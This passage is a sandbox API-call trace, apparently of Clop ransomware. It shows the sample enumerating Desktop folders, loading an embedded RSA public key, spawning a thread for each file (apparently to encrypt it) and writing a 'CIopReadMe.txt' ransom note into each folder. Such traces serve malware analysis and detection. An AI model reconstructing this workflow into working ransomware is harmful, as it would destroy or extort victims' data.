lpString1=0x1ebf51c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop" [0104.504] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0104.504] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="ccqskCJ2SS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS" [0104.504] SetErrorMode (uMode=0x1) returned 0x1 [0104.504] lstrcpyW (in: lpString1=0x1ebe104, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS" [0104.504] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\" [0104.504] lstrcpyW (in: lpString1=0x1ebd8e4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\" [0104.504] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\*.*" [0104.504] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\*.*", lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 0x67e3f8 [0104.504] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS") returned="ccqskCJ2SS" [0104.504] lstrcpyW (in: lpString1=0x1ebcaf8, lpString2="ccqskCJ2SS" | out: lpString1="ccqskCJ2SS") returned="ccqskCJ2SS" [0104.504] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0104.505] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0104.505] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0104.505] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0104.505] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0104.505] lstrcmpW (lpString1="FnTKrRERf_0VWyksIzp.xls", lpString2="..") returned 1 [0104.505] lstrcmpW (lpString1="FnTKrRERf_0VWyksIzp.xls", lpString2=".") returned 1 [0104.505] Sleep (dwMilliseconds=0xd) [0104.563] lstrcpyA (in: lpString1=0x1ebcd2c, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0104.563] lstrcpyW (in: lpString1=0x1ebd28a, lpString2="FnTKrRERf_0VWyksIzp.xls" | out: lpString1="FnTKrRERf_0VWyksIzp.xls") returned="FnTKrRERf_0VWyksIzp.xls" [0104.563] lstrcpyW (in: lpString1=0x1ebce8a, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\" [0104.563] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebcd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644 [0104.563] WaitForSingleObject (hHandle=0x644, dwMilliseconds=0xffffffff) returned 0x0 [0105.112] SetErrorMode (uMode=0x1) returned 0x1 [0105.112] wsprintfW (in: param_1=0x1ebc8f0, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\CIopReadMe.txt") returned 55 [0105.112] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0105.112] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0105.112] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0105.112] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0105.112] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0105.112] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0105.113] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x63c [0105.122] WriteFile (in: hFile=0x63c, lpBuffer=0x6888e8*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x1ebc8e8, lpOverlapped=0x0 | out: lpBuffer=0x6888e8*, lpNumberOfBytesWritten=0x1ebc8e8*=0x759, lpOverlapped=0x0) returned 1 [0105.123] CloseHandle (hObject=0x63c) returned 1 [0105.129] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0105.129] lstrcmpW (lpString1="mJbzYvV0BW4OFQ1.bmp", lpString2="..") returned 1 [0105.129] lstrcmpW (lpString1="mJbzYvV0BW4OFQ1.bmp", lpString2=".") returned 1 [0105.129] Sleep (dwMilliseconds=0xd) [0105.172] lstrcpyA (in: lpString1=0x1ebcd2c, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0105.172] lstrcpyW (in: lpString1=0x1ebd28a, lpString2="mJbzYvV0BW4OFQ1.bmp" | out: lpString1="mJbzYvV0BW4OFQ1.bmp") returned="mJbzYvV0BW4OFQ1.bmp" [0105.172] lstrcpyW (in: lpString1=0x1ebce8a, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\" [0105.172] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebcd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x638 [0105.174] WaitForSingleObject (hHandle=0x638, dwMilliseconds=0xffffffff) returned 0x0 [0105.367] SetErrorMode (uMode=0x1) returned 0x1 [0105.367] wsprintfW (in: param_1=0x1ebc8f0, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\CIopReadMe.txt") returned 55 [0105.367] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x65c [0105.367] CloseHandle (hObject=0x65c) returned 1 [0105.367] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0105.367] lstrcmpW (lpString1="nmKbd_Etp705mK8.odt", lpString2="..") returned 1 [0105.367] lstrcmpW (lpString1="nmKbd_Etp705mK8.odt", lpString2=".") returned 1 [0105.367] Sleep (dwMilliseconds=0xd) [0105.515] lstrcpyA (in: lpString1=0x1ebcd2c, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0105.515] lstrcpyW (in: lpString1=0x1ebd28a, lpString2="nmKbd_Etp705mK8.odt" | out: lpString1="nmKbd_Etp705mK8.odt") returned="nmKbd_Etp705mK8.odt" [0105.515] lstrcpyW (in: lpString1=0x1ebce8a, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\" [0105.515] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebcd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x634 [0105.515] SetErrorMode (uMode=0x1) returned 0x1 [0105.515] wsprintfW (in: param_1=0x1ebc8f0, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\CIopReadMe.txt") returned 55 [0105.515] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x664 [0105.516] CloseHandle (hObject=0x664) returned 1 [0105.516] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0105.516] lstrcmpW (lpString1="Y_62XF6X1FjEo5B7P.avi", lpString2="..") returned 1 [0105.516] lstrcmpW (lpString1="Y_62XF6X1FjEo5B7P.avi", lpString2=".") returned 1 [0105.516] Sleep (dwMilliseconds=0xd) [0105.571] lstrcpyA (in: lpString1=0x1ebcd2c, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0105.571] lstrcpyW (in: lpString1=0x1ebd28a, lpString2="Y_62XF6X1FjEo5B7P.avi" | out: lpString1="Y_62XF6X1FjEo5B7P.avi") returned="Y_62XF6X1FjEo5B7P.avi" [0105.571] lstrcpyW (in: lpString1=0x1ebce8a, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\" [0105.571] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebcd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658 [0105.571] SetErrorMode (uMode=0x1) returned 0x1 [0105.571] wsprintfW (in: param_1=0x1ebc8f0, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\CIopReadMe.txt") returned 55 [0105.571] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x660 [0105.572] CloseHandle (hObject=0x660) returned 1 [0105.572] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 0 [0105.759] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0105.832] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0105.832] lstrcpyW (in: lpString1=0x1ebe104, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS" [0105.832] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\*.*" [0105.832] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\*.*", lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 0x67e6b8 [0105.842] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS") returned="ccqskCJ2SS" [0105.842] lstrcpyW (in: lpString1=0x1ebcaf8, lpString2="ccqskCJ2SS" | out: lpString1="ccqskCJ2SS") returned="ccqskCJ2SS" [0105.842] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0105.842] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0105.842] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0105.842] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0105.842] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0105.842] lstrcmpW (lpString1="1bwm2R-ai", lpString2="..") returned 1 [0105.842] lstrcmpW (lpString1="1bwm2R-ai", lpString2=".") returned 1 [0105.842] lstrcpyW (in: lpString1=0x1ebdcf4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS" [0105.842] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\" [0105.842] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\", lpString2="1bwm2R-ai" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai" [0105.842] SetErrorMode (uMode=0x1) returned 0x1 [0105.842] lstrcpyW (in: lpString1=0x1ebc8dc, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai" [0105.842] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\" [0105.842] lstrcpyW (in: lpString1=0x1ebc0bc, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\" [0105.842] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\*.*" [0105.842] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\*.*", lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 0x67e378 [0105.842] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai") returned="1bwm2R-ai" [0105.842] lstrcpyW (in: lpString1=0x1ebb2d0, lpString2="1bwm2R-ai" | out: lpString1="1bwm2R-ai") returned="1bwm2R-ai" [0105.842] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0105.842] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0105.842] lstrcmpW (lpString1="DqXOsfvU6Y tHX.wav", lpString2="..") returned 1 [0105.842] lstrcmpW (lpString1="DqXOsfvU6Y tHX.wav", lpString2=".") returned 1 [0105.842] Sleep (dwMilliseconds=0xd) [0105.867] lstrcpyA (in: lpString1=0x1ebb504, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0105.867] lstrcpyW (in: lpString1=0x1ebba62, lpString2="DqXOsfvU6Y tHX.wav" | out: lpString1="DqXOsfvU6Y tHX.wav") returned="DqXOsfvU6Y tHX.wav" [0105.867] lstrcpyW (in: lpString1=0x1ebb662, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\" [0105.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebb504, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x668 [0105.867] WaitForSingleObject (hHandle=0x668, dwMilliseconds=0xffffffff) returned 0x0 [0106.289] SetErrorMode (uMode=0x1) returned 0x1 [0106.289] wsprintfW (in: param_1=0x1ebb0c8, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\CIopReadMe.txt") returned 65 [0106.289] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\1bwm2r-ai\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.290] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0106.290] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0106.290] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0106.290] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0106.290] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0106.290] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\1bwm2r-ai\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x674 [0106.290] WriteFile (in: hFile=0x674, lpBuffer=0x690880*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x1ebb0c0, lpOverlapped=0x0 | out: lpBuffer=0x690880*, lpNumberOfBytesWritten=0x1ebb0c0*=0x759, lpOverlapped=0x0) returned 1 [0106.291] CloseHandle (hObject=0x674) returned 1 [0106.291] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0106.291] lstrcmpW (lpString1="iJYJHrgQ2a2pzMtZL.swf", lpString2="..") returned 1 [0106.291] lstrcmpW (lpString1="iJYJHrgQ2a2pzMtZL.swf", lpString2=".") returned 1 [0106.291] Sleep (dwMilliseconds=0xd) [0106.356] lstrcpyA (in: lpString1=0x1ebb504, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN 